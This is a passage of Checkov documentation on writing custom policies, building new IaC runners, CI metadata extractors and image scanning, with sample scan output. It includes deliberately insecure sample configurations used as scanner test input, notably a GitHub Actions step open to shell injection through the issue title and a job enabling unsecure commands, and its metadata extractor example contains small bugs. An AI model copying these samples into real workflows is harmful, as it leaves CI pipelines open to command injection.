aws_ebs_volume.ebs_good.arn ] } resource "aws_backup_selection" "backup_bad" { iam_role_arn = "arn" name = "tf_example_backup_selection" plan_id = "123456" resources = [ ] } ``` ## 'expected.yaml' File Example `tests/terraform/graph/checks/resources/EBSAddedBackup/expected.yaml` ```yaml pass: - "aws_ebs_volume.ebs_good" fail: - "aws_ebs_volume.ebs_bad" ``` 2 - Add the test call into tests file - `tests/terraform/graph/checks/test_yaml_policies.py` ### Example ```yaml ... def test_EBSAddedBackup(self): self.go("EBSAddedBackup") ... ``` ================================================ FILE: docs/6.Contribution/Contribution New IaC Runner.md ================================================ # Checkov Runner Contribution Guide ## Introduction ### Prologue: Reference PR for the base YAML runner [https://github.com/bridgecrewio/checkov/pull/2535](https://github.com/bridgecrewio/checkov/pull/2535) Reference PR for GitHub Action runner (based on the YAML runner) [https://github.com/bridgecrewio/checkov/pull/2551](https://github.com/bridgecrewio/checkov/pull/2551) ## Glossary ### What is Checkov? Checkov scans cloud infrastructure configurations to find misconfigurations before they're deployed. Checkov uses a common command-line interface to manage and analyze infrastructure as code (IaC) scan results across platforms such as Terraform, CloudFormation, Kubernetes, Helm, ARM Templates and Serverless framework. ### What is a "runner"? A runner is a unit of code that plugs into the core Checkov "engine" designed to handle the parsing and idiosyncratic formatting of an IaC language such that it can be translated into a set of "definitions". From there, contributors can create "checks" against the language for best practice and security misconfigurations. ### Further Terminology **IaC** : This can be purpose-built, declarative languages for Infrastructure as Code for example Terraform or Cloud Formation. They can also be IaC formats like YAML or JSON which can be uniquely interpreted into a stateful format like Kubernetes (YAML or JSON) or GitHub Actions (YAML). For new IaC formats, In the latter case, a generic JSON or YAML runner already exists to build upon. **Registry** : A registry is a data structure that collects a group of code objects. There is a registry for "Checks" and a Registry for "Runners" themselves. These allow for Checkov to be extensible. Adding new Checks and new Runners (like we doing here) can be done independently provided the new code is "registered" correctly. **Runner Registry** : A specific pre-existing registry that tracks all runners Checkov has available. **Resource** : A single unit within an IaC file upon which a check can be run. A resource may contain other subresource types. An IaC file can have multiple resources within against which Checks can be run. **NOTE** : There is an advantage to broad resource types which can extend to an entire file. This makes creating checks much easier. The disadvantage is that locations for fixes are far less granular than ### Case Study: Identifying resource types in GitHub Actions YAML Each **resource** type will require it's own checks **registry** and **checks**. Eg. GitHub Actions YAML ```yaml on: pull_request name: unsecure-worfklow jobs: unsecure-job: name: job2 runs-on: ubuntu-latest env: ACTIONS_ALLOW_UNSECURE_COMMANDS: true steps: - name: unsecure-step2 run: | echo "goo" secure-job: name: job3 runs-on: ubuntu-latest env: ACTIONS_ALLOW_UNSECURE_COMMANDS: false run: | echo "ok" ``` Above we can define three potential resource types. 1. The "workflow" file as a whole. * Misconfigurations (and Fixes) will be presented against the entire file. 2. The "jobs" which we can see is an array * Misconfigurations (and potentially fixes) will be presented within a specified line numbers respective to the job. This is a better user experience and workflows. 3. The "steps" within a job which also can be an array. * In this case the most accurate result as misconfigurations (and fixes) will be far more precise and can enable the later use of platform features like Smart Fixes. **Definition/Entity** : This is an internal abstraction of the "resource" IaC into an internal data structure in Checkov against which our Checkov rules will be applied. **Check** : An autonomous piece of logic that is run against a "resource" within declarative code structure that traverses and understands the idiosyncratic schema and applies a specific best practice or security checks. **Report** : This is where the results of the checks are summarised into a report prior to being output in a variety of formats. Like the definitions, the report is initially a data structure that is independent of the eventually requested format (eg. CycloneDX, JSON, CLI text). ### Option 1: Using YAML or JSON base runners with built-in parsers ![](../runner_files.png) ##### The major checkov files we will be modifying or inheriting from, for our example runner. If your runner is using a known IaC language like JSON or YAML then you will be inheriting a lot from these existing runners. Copy and paste the contents of the "example\_runner" which can be found in ../checkov/example\_runner changing the name to your new runner type. Eg. cp -r example_runner mynewiac_runner …where mynewiac\_runner will represent your runner name for the rest of these docs You'll be getting, out of the box, a documented set of files within each should be the instructions of what needs to be modified. The tree structure looks like this mynewiac_runner ├── __init__.py ├── checks │ ├── __init__.py │ ├── base_github_action_check.py │ ├── base_github_action_job_check.py │ ├── job │ │ ├── ExampleCheckTrueFalse.py │ │ └── __init__.py │ └── job_registry.py ├── common │ └── __init__.py └── runner.py #### Change the first line in the base __init.py__ to your runner name Eg. from checkov.mynewiac_runner.checks import * #### Create a new check type to class CheckType to be used in your new runner This can be found at the top of the common/output/report.py MYNEWIAC = "mynewiac" Eg. GITHUB_ACTIONS = "github_actions"; #### Add our new check type to our own runner.py file at This can be found at the top of the class Runner in mynewiac\_runner/runner.py check_type = CheckType.MYNEWIAC #### Define our resources and from there are check registries. In the example runner there is a checks directory with three key files ├── checks ├── base_github_action_check.py ├── base_github_action_job_check.py └── job_registry.py Where we have the potential for multiple resource types within a single IaC file (a common occurrence), we have created a base check and from there a sub class of this for the specific resource type. In our example case this is a "job". Because our resource is a "job" we create a registry for checks to be run against this resource type. You will need to duplicate the base check and registry for each resource type in your IaC. Return to runner.py to make it unique There are a few abstract functions defined in the base ObjectRunner that we need to override. Import\_registry(self): Will register our registries for each block/resource type \_parse\_file(self.f): Will make a decision as to whether the file 'f' is one we care about or not based on unique identity criteria (eg. path, headers, content unique to this IaC). If it is one for us we pass it to the superclass function. get\_start\_end\_lines(self, end, result\_config, start): For reporting, different IaC resource blocks will have different methods to determine the beginning and end line numbers. The YAML/JSON runners already handle the "get\_start\_end\_lines" function for us. Our \_parse\_file for the github actions runner simply filtered out files that we're not relevant for our runner Eg. if ".github/workflows/"; in os.path.abspath(f): return super()._parse_file(f) Your runner can follow suit and use any number of criteria to ignore files. **NOTE: By default, all IaC files are passed into all runners to allow the runners to decided if their registry of checks are appropriate. This is where that decision is made.** #### Add to checkov/common/utils/docs\_generator.py at the top of the file from checkov.mynewiac_runner.checks.job_registry import registry as your_runner_registry Eg. from checkov.github_actions.checks.job_registry import registry as github_actions_jobs_registry Add your runner to main.py Make it visible to Checkov by declaring this dependency. You'll find these starting from line 18 in main.py. Your runner can be added to the bottom of the list like from checkov.mynewiac_runner.runner import Runner as mynewiac_runner From here you can then add the call to the runner to the data structure on line 67 DEFAULT_RUNNERS = ( mynewiac_runner(), cfn_runner(), k8_runner(), sls_runner(), arm_runner(), #### Persist added checks into the policy index in the docs (automatically) Add the runner directory name to the build.yaml file "for loop". .github/workflows/build.yml Line 141 in build.yaml: for i in cloudformation terraform kubernetes serverless arm dockerfile secrets github_configuration gitlab_configuration bitbucket_configuration mynewiac_runner all Example: [https://github.com/bridgecrewio/checkov/pull/2551/files#diff-5c3fa597431eda03ac3339ae6bf7f05e1a50d6fc7333679ec38e21b337cb6721R141](https://github.com/bridgecrewio/checkov/pull/2551/files#diff-5c3fa597431eda03ac3339ae6bf7f05e1a50d6fc7333679ec38e21b337cb6721R141) ### Now Checkov will call your runner! #### Create an example check Reference: [Contribute Python-Based Policies](https://github.com/bridgecrewio/checkov/blob/main/docs/6.Contribution/Contribute%20Python-Based%20Policies.md) #### Create test cases TBD ================================================ FILE: docs/6.Contribution/Contribution Overview.md ================================================ --- layout: default published: true title: Contribution Overview nav_order: 1 --- # Contribution Overview Checkov users are encouraged to contribute their custom Policies to help increase our existing IaC coverage. Our aim is to help close gaps in real-world hardening, assessments, auditing and forensics. In other words, we specifically encourage contribution of new Policies that you think should be globally accepted when provisioning and changing infrastructure. The main aspects of contributing new Policies are: * Preparing the prerequisites * Creating and Testing the Custom Policy (either YAML or Python format) * Pull Request ## Prerequisites ### Installation First, make sure you installed and configured Checkov correctly. If you are unsure, go back and read the [Installing Checkov documentation](https://www.checkov.io/2.Basics/Installing%20Checkov.html). Preferably by now you have either scanned a folder containing Terraform state-files or went ahead and integrated Checkov as part of your CI/CD pipeline. ### Add A Check via CLI Prompt Let's assume we're trying to create a new AWS resource Check to ensure all of our `aws_iam_policy`'s have a tag that says `{ "Checkov" = "IsAwesome" }` 1. Run `checkov --add-check` 2. Answer the prompts ``` $ checkov --add-check _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: ... What action would you like to take? (add) [add]: add Enter the title of your new check (without a .py) [MyNewTest]: CheckovIsAwesomeTag Select a category for this check (application_security, backup_and_recoveryconvention, encryption, general_security, iam, kubernetes, logging, networking, secrets) [iam]: general_security Describe what this check does [Ensure that X does Y...]: Makes sure that aws_iam_policy resources have a tag that says {'Checkov' = IsAwesome'} What kind of check would you like to add? (terraform) [terraform]: terraform Select the cloud provider this will run on (azure, aws, gcp) [aws]: aws Select a terraform object for this check (data, provider, resource) [resource]: resource Enter the terraform object type [aws_iam_policy]: aws_iam_policy Please ensure you are at the root of the Checkov repository before completing this prompt Creating Check CheckovIsAwesomeTag.py in /path/to/checkov/checkov/terraform/checks/resource/aws Successfully created /path/to/checkov/checkov/terraform/checks/resource/aws/CheckovIsAwesomeTag.py Creating Unit Test Stubs for CheckovIsAwesomeTag in /path/to/checkov/tests/terraform/checks/resource/aws Successfully created /path/to/checkov/tests/terraform/checks/resource/aws/example_CheckovIsAwesomeTag/CheckovIsAwesomeTag.tf Successfully created /path/to/checkov/tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py Next steps: 1) Edit your new check located in the checks/ directory listed above 2) Add both a PASS and FAIL unit test to the newly created unit test under the tests/ directory to show others how to fix failures ``` 3. Go to your new Check at `/path/to/checkov/checkov/terraform/checks/resource/aws/CheckovIsAwesomeTag.py` 4. Edit the `scan_resource_conf()` function to look like the following: ``` def scan_resource_conf(self, conf): if 'tags' in conf.keys(): tags = conf['tags'][0] if "Checkov" in tags: if tags["Checkov"] == "IsAwesome": return CheckResult.PASSED return CheckResult.FAILED ``` 5. Go to your new Unit Test Terraform at `/path/to/checkov/tests/terraform/checks/resource/aws/example_CheckovIsAwesomeTag/CheckovIsAwesomeTag.tf` 6. Edit the terraform resources to contain the following: ``` ## SHOULD PASS: Contains {Checkov: IsAwesome} key/value resource "aws_iam_policy" "ckv_unittest_pass" { tags = { "Checkov" = "IsAwesome" } } ## SHOULD FAIL: Value does not equal "IsAwesome" resource "aws_iam_policy" "ckv_unittest_fail" { tags = { "Checkov" = "IsLame" } } ``` 7. Run your tests `pytest -k test_CheckovIsAwesomeTag` ``` $ pytest -k test_CheckovIsAwesome ================================================================================ test session starts ================================================================================ platform darwin -- Python 3.10.14, pytest-6.2.5, py-1.10.0, pluggy-1.0.0 rootdir: /path/to/checkov plugins: xdist-2.4.0, forked-1.3.0, cov-3.0.0 collected 1952 items / 1951 deselected / 1 selected tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py . [100%] ======================================================================== 1 passed, 1951 deselected in 7.16s ========================================================================= ``` 9. Let's add another unit test for a missing tag: ``` ## SHOULD PASS: Contains {Checkov: IsAwesome} key/value resource "aws_iam_policy" "ckv_unittest_pass" { tags = { "Checkov" = "IsAwesome" } } ## SHOULD FAIL: Value does not equal "IsAwesome" resource "aws_iam_policy" "ckv_unittest_fail" { tags = { "Checkov" = "IsLame" } } ## SHOULD FAIL: Missing "Checkov" tag resource "aws_iam_policy" "ckv_unittest_fail_1" { tags = { "SomethingElse" = "IsAwesome" } } ``` 10. Run your tests again `pytest -k test_CheckovIsAwesomeTag` ``` ... self.assertEqual(summary['passed'], len(passing_resources)) > self.assertEqual(summary['failed'], len(failing_resources)) E AssertionError: 2 != 1 tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py:33: AssertionError ============================================================================== short test summary info ============================================================================== FAILED tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py::TestCheckovIsAwesomeTag::test - AssertionError: 2 != 1 ======================================================================== 1 failed, 1951 deselected in 7.40s ========================================================================= ``` 11. We failed! Let's fix it. Go to our new Unit Test file `/path/to/checkov/tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py` 12. Notice lines 23-25. Right now, we are configured to only have one failing resource `'aws_iam_policy.ckv_unittest_fail'` 13. Edit `failing_resources` to include our newly added Terraform resource: ``` ... passing_resources = { 'aws_iam_policy.ckv_unittest_pass' } failing_resources = { 'aws_iam_policy.ckv_unittest_fail', 'aws_iam_policy.ckv_unittest_fail_1' # <-- Add this line! } ... ``` 14. Run your tests again `pytest -k test_CheckovIsAwesomeTag` ``` $ pytest -k test_CheckovIsAwesome ================================================================================ test session starts ================================================================================ platform darwin -- Python 3.10.14, pytest-6.2.5, py-1.10.0, pluggy-1.0.0 rootdir: /Users/joseph.meredith/dev/jmeredith18/checkov plugins: xdist-2.4.0, forked-1.3.0, cov-3.0.0 collected 1952 items / 1951 deselected / 1 selected tests/terraform/checks/resource/aws/test_CheckovIsAwesomeTag.py . [100%] ======================================================================== 1 passed, 1951 deselected in 6.90s ========================================================================= ``` 15. Go make your own Checks, test them, and contribute! ### Custom Policy Structure Each check consists of the following mandatory properties: **name:** A new Custom Policy's unique purpose. It should ideally specify the positive desired outcome of the policy. **ID:** A mandatory unique identifier of a policy. Policies written by Checkov maintainers follow the following convention: **CKV_providerType_serialNumber**. (e.g., CKV_AWS_9 , CKV_GCP_12) **Categories:** A categorization of a scan. This is usually helpful when producing compliance reports, pipeline analytics and health metrics. Check out our existing categories before creating a new one. When contributing a Custom Policy, please increment the ID number to be x+1, where x is the serial number of the latest implemented Custom Policy, with respect to its provider (e.g., AWS). A more specific type of Custom Policy may also include additional attributes. For example, a check that scans a Terraform resource configuration also contains the supported_resources attribute, which is a list of the supported resource types of the check. ### Result The result of a scan should be a binary result of either PASSED or FAILED. We have also included an UNKNOWN option, which means that it is unknown if the scanned configuration complied with the check. If your check could have edge cases that might not be supported by the scanner’s current logic, consider support the UNKNOWN option. Additionally, a Policy can be suppressed by Checkov on a given configuration by inserting a skip comment inside a specific configuration scope. Then, the result for that Policy would be SKIPPED. For further details, see [Suppressions](https://www.checkov.io/2.Basics/Suppressing%20and%20Skipping%20Policies.html). ### IaC Type Scanner Identify which IaC type the check will test. Currently, Checkov can scan either Terraform or CloudFormation configuration files. Place your code in the `checkov/` folder, where `` is either `terraform` or `cloudformation`. Identify which IaC type will be tested under the Custom Policy. Currently, Checkov scans either Terraform or CloudFormation configuration files. Place your code in the `checkov/` folder, where `` is either terraform or cloudformation. ### Custom Policy Type and Provider Custom Policies are divided first into folders grouped by type, and then grouped by provider. Custom Policies should relate to a common IaC configuration type of a specific public cloud provider. For example, a Custom Policy that validates the encryption configuration of an S3 bucket is considered to be of type `resource`, and of `aws` provider. Identify the type and provider of the new Custom Policy in order to place it correctly under the project structure. For example, the mentioned above check is already implemented in Checkov under `checkov/terraform/checks/resource/aws/S3Encryption.py`. Notice that Custom Policies are divided into folders grouped by type, and then grouped provider. ### Review IaC Configuration Documentation If available, please provide the official Terraform or CloudFormation documentation of the checked configuration. This helps users to better understand the Custom Policy's scanned configuration and usage. For example, the documentation for the Custom Policy mentioned above is [here](https://www.checkov.io/3.Custom%20Policies/Custom%20Policies%20Overview.html). ### Sample IaC Configuration In order to develop the Custom Policy, a relevant example configuration should be presented as an input to Checkov. Provide a sample configuration (e.g., `example.tf`, `template.json`) that contains both passing and failing configurations with respect to the Custom Policy's logic. The file can be served as an input to the appropriate Custom Policy's unit tests. ## Creating and Testing the Custom Policy * See [Create Python Policies](https://www.checkov.io/3.Custom%20Policies/Python%20Custom%20Policies.html) and [Contribute Python-Based Policies](https://www.checkov.io/6.Contribution/Contribute%20Python-Based%20Policies.html). * See [Create YAML Policies](https://www.checkov.io/3.Custom%20Policies/YAML%20Custom%20Policies.html) and [Contribute YAML-Based Policies](https://www.checkov.io/6.Contribution/Contribute%20YAML-based%20Policies.html). ## Pull Request Open a PR that contains the implementation code and testing suite, with the following information: * Custom Policy `id`. * Custom Policy `name`. * Custom Policy IaC type. * Custom Policy type and provider. * IaC configuration documentation (If available). * Sample Terraform configuration file. * Any additional information that would help other members to better understand the check. ================================================ FILE: docs/6.Contribution/Implementing CI Metadata Extractor.md ================================================ # Implementing CI Metadata extractor CI/CD jobs have environment variables that can enrich the execution context. Attributes like: 1. Author of the run 2. Commit sha 3. Pull request ID 4. Link to the host running the CI Those attributes can be added by reading environment variables published on the public docs of CI/CD vendors. Examples: https://docs.gitlab.com/ee/ci/variables/predefined_variables.html https://docs.github.com/en/actions/learn-github-actions/environment-variables ## How to implement a new Run metadata extractor? You'll need to implement a new class derived from RunMetaDataExtractor and commit it into the directory `checkov/common/bridgecrew/run_metadata/extractors`. Example: ```python import os from checkov.common.bridgecrew.run_metadata.abstract_run_metadata_extractor import RunMetaDataExtractor class GithubActionsRunMetadataExtractor(RunMetaDataExtractor): def is_current_ci(self): if os.getenv("GITHUB_ACTIONS", ""): return True return False def __init__(self): server_url = os.getenv('GITHUB_SERVER_URL', '') from_branch = os.getenv('GIT_BRANCH', "master") to_branch = os.getenv('GITHUB_BASE_REF', "") pr_id = os.getenv("$GITHUB_REF", "//").split("/") repository = os.getenv('GITHUB_REPOSITORY', "") pr_url = f"{server_url}/{repository}/pull/{pr_id}" commit_hash = os.getenv("GITHUB_SHA", "") commit_url = f"{server_url}/{repository}/commit/${commit_hash}" author_name = os.getenv("GITHUB_ACTOR", "") author_url = f"{server_url}/{author_name}" run_id = os.getenv("GITHUB_RUN_NUMBER", "") run_url = f"{server_url}/{repository}/actions/runs/{run_id}" repository_url = f"{server_url}/{repository}" super().__init__(from_branch=from_branch, to_branch=to_branch, pr_id=pr_id, pr_url=pr_url, commit_hash=commit_hash, commit_url=commit_url, author_name=author_name, author_url=author_url, run_id=run_id, run_url=run_url, repository_url=repository_url) extractor = GithubActionsRunMetadataExtractor() ``` ================================================ FILE: docs/6.Contribution/Implementing ImageReferencer.md ================================================ # Implementing ImageReferencer The relevant class can be found at `checkov/common/images/image_referencer.py` ## How was the idea born? Container images are referenced widely across CI workflow files, Terraform, Serverless, K8 manifests, etc. Those files can naturally have a misconfig and reference an image with a vulnerability. When using checkov with API token, checkov gets that capability to perform image scanning and utilize Prisma cloud compute vulnerability DB. If `ImageReferencer` is derived by a `Runner`than referenced images in an IaC file can be scanned for vulnerabilities. ## Would container images are scanned automatically? Yes, If the `--framework` `sca_image` is not excluded from the execution scope, an API token is provided. The automatic scanning is happening thanks to the registration process for any Derived class of ImageReferencers that occurs in `RunnerRegistry` init. Implementing image referencer will mean scan results will take additional time since images are being pulled. ## What needs to be implemented? Look at: `checkov/common/images/image_referencer.py` and the derived class: `checkov/github_actions/runner.py` ## Example CLI command ```bash checkov -d /checkov/integration_tests/example_workflow_file/.github/workflows/ --framework sca_image --bc-api-key SOME_TOKEN ``` ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x github_actions scan results: Passed checks: 7, Failed checks: 1, Skipped checks: 0 Check: CKV_GHA_1: "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job" PASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.my_job.CKV_GHA_1 File: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:8-17 Check: CKV_GHA_1: "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job" PASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.my_job2.CKV_GHA_1 File: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:18-27 Check: CKV_GHA_1: "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job" PASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.unsecure-job.CKV_GHA_1 File: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:28-36 Check: CKV_GHA_1: "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables on a job" PASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.secure-job.CKV_GHA_1 File: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:37-40 Check: CKV_GHA_2: "Ensure run commands are not vulnerable to shell injection" PASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.my_job.CKV_GHA_2 File: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:8-17 Check: CKV_GHA_2: "Ensure run commands are not vulnerable to shell injection" PASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.my_job2.CKV_GHA_2 File: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:18-27 Check: CKV_GHA_2: "Ensure run commands are not vulnerable to shell injection" PASSED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.secure-job.CKV_GHA_2 File: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:37-40 Check: CKV_GHA_2: "Ensure run commands are not vulnerable to shell injection" FAILED for resource: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml.jobs.unsecure-job.CKV_GHA_2 File: /Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml:28-36 28 | runs-on: ubuntu-latest 29 | run: | 30 | title="${{ github.event.issue.title }}" 31 | if [[ ! $title =~ ^.*:\ .*$ ]]; then 32 | echo "Bad issue title" 33 | exit 1 34 | fi 35 | secure-job: 36 | name: job2 sca_image scan results: Passed checks: 0, Failed checks: 989, Skipped checks: 0 //Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml (sha256:6a353e22ce) ┌────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┐ │ Total CVEs: 344 │ critical: 8 │ high: 19 │ medium: 24 │ low: 293 │ skipped: 0 │ ├────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┤ ├────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┤ │ Package │ CVE ID │ Severity │ Current version │ Fixed version │ Compliant version │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ libwebp │ CVE-2018-25014 │ critical │ 0.5.2-1 │ 0.5.2.post1+deb9u1 │ 0.5.2.post1+deb9u1 │ │ │ CVE-2018-25011 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2018-25013 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2018-25012 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2018-25010 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2018-25009 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2020-36332 │ low │ │ N/A │ │ │ │ CVE-2020-36331 │ low │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2020-36330 │ low │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2020-36329 │ low │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2020-36328 │ low │ │ 0.5.2.post1+deb9u1 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ elfutils │ CVE-2018-16402 │ critical │ 0.168-1 │ 0.168.post1+deb9u1 │ 0.168.post1+deb9u1 │ │ │ CVE-2018-18520 │ medium │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2018-18521 │ medium │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2018-18310 │ medium │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2018-16062 │ medium │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2018-16403 │ low │ │ N/A │ │ │ │ CVE-2019-7665 │ low │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2019-7150 │ low │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2019-7149 │ low │ │ N/A │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ .... sca_image scan results: Passed checks: 0, Failed checks: 989, Skipped checks: 0 //Users/barak/Documents/dev/bridgecrew/checkov3/integration_tests/example_workflow_file/.github/workflows/vulnerable_container.yaml (sha256:6a353e22ce) ┌────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┐ │ Total CVEs: 344 │ critical: 8 │ high: 19 │ medium: 24 │ low: 293 │ skipped: 0 │ ├────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┴────────────────────┤ ├────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┬────────────────────┤ │ Package │ CVE ID │ Severity │ Current version │ Fixed version │ Compliant version │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ libwebp │ CVE-2018-25014 │ critical │ 0.5.2-1 │ 0.5.2.post1+deb9u1 │ 0.5.2.post1+deb9u1 │ │ │ CVE-2018-25011 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2018-25013 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2018-25012 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2018-25010 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2018-25009 │ critical │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2020-36332 │ low │ │ N/A │ │ │ │ CVE-2020-36331 │ low │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2020-36330 │ low │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2020-36329 │ low │ │ 0.5.2.post1+deb9u1 │ │ │ │ CVE-2020-36328 │ low │ │ 0.5.2.post1+deb9u1 │ │ ├────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┼────────────────────┤ │ elfutils │ CVE-2018-16402 │ critical │ 0.168-1 │ 0.168.post1+deb9u1 │ 0.168.post1+deb9u1 │ │ │ CVE-2018-18520 │ medium │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2018-18521 │ medium │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2018-18310 │ medium │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2018-16062 │ medium │ │ 0.168.post1+deb9u1 │ │ │ │ CVE-2018-16403 │ low │ │ N/A │ │ │ │ CVE-2019-7665 │ low │ │ 0.168.post1+deb9u1 │ │ ... More details: https://www.bridgecrew.cloud/projects?repository=acme_cli_repo/workflows&branch=bc-a57cd90_master&runId=latest ``` ## What would be a good candidate? Serverless functions utilizing containers, and every other IaC manifest that can reference an image ================================================ FILE: docs/7.Scan Examples/AWS SAM.md ================================================ --- layout: default published: true title: AWS SAM configuration scanning nav_order: 20 --- # AWS SAM framework configuration scanning Checkov supports the evaluation of policies on your SAM templates files. When using checkov to scan a directory that contains a SAM template it will validate if the file is compliant with AWS best practices such as having logging and auditing enabled, making sure S3 buckets are encrypted, HTTPS is being used, and more. Full list of SAM policies checks can be found [here](https://www.checkov.io/5.Policy%20Index/serverless.html). The SAM scanning is utilizing checks that are part of the Cloudformation scanning implementation of checkov since SAM resource definition extends the Cloudformation definition. ### Example misconfigured SAM framework ```yaml AWSTemplateFormatVersion: "2010-09-09" Transform: AWS::Serverless-2016-10-31 ​ Resources: Enabled: Type: AWS::Serverless::Api Properties: StageName: prod TracingEnabled: true CacheClusterEnabled: true AccessLogSetting: DestinationArn: 'arn:aws:logs:us-east-1:123456789:log-group:my-log-group' ​ Default: Type: AWS::Serverless::Api Properties: StageName: prod ``` ### Running in CLI ```bash checkov -d . --framework cloudformation ``` ### Example output ```bash _ _ ___| |__ ___ ___| | _______ __ / __| '_ \ / _ \/ __| |/ / _ \ \ / / | (__| | | | __/ (__| < (_) \ V / \___|_| |_|\___|\___|_|\_\___/ \_/ By Prisma Cloud | version: x.x.x cloudformation scan results: Passed checks: 3, Failed checks: 3, Skipped checks: 0 Check: CKV_AWS_120: "Ensure API Gateway caching is enabled" PASSED for resource: AWS::Serverless::Api.Enabled File: /sam.yaml:5-12 Check: CKV_AWS_73: "Ensure API Gateway has X-Ray Tracing enabled" PASSED for resource: AWS::Serverless::Api.Enabled File: /sam.yaml:5-12 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-logging-policies/logging-15 Check: CKV_AWS_76: "Ensure API Gateway has Access Logging enabled" PASSED for resource: AWS::Serverless::Api.Enabled File: /sam.yaml:5-12 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-logging-policies/logging-17 Check: CKV_AWS_120: "Ensure API Gateway caching is enabled" FAILED for resource: AWS::Serverless::Api.Default File: /sam.yaml:14-17 14 | Default: 15 | Type: AWS::Serverless::Api 16 | Properties: 17 | StageName: prod Check: CKV_AWS_73: "Ensure API Gateway has X-Ray Tracing enabled" FAILED for resource: AWS::Serverless::Api.Default File: /sam.yaml:14-17 Guide: https://docs.prismacloud.io/en/enterprise-edition/policy-reference/aws-policies/aws-logging-policies/logging-15 14 | Default: 15 | Type: 